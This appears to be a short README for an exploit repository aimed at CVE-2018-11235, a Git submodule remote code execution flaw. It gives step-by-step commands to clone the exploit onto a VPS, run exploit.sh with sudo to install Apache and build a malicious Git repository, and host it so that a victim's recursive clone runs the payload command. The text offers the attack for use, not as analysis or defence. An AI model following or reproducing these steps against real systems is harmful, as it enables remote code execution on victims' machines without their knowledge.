CVE-2018-11235

1. ssh to your vps.
2. Clone this repo:

git clone https://github.com/Rezy-Dev/CVE-2018-11235
cd CVE-2018-11235

3. Give exploit.sh execute (x) permission then execute it:

sudo chmod +x exploit.sh
sudo ./exploit.sh

It downloads apache2 and builds malicious repo for us.

4. Once done we can use the link http://vps-ip/malicious.git as a git repo.
5. When victim clones it like:

git clone --recurse-submodules http://vps-ip/malicious.git

The payload rce command should execute.

Thank you!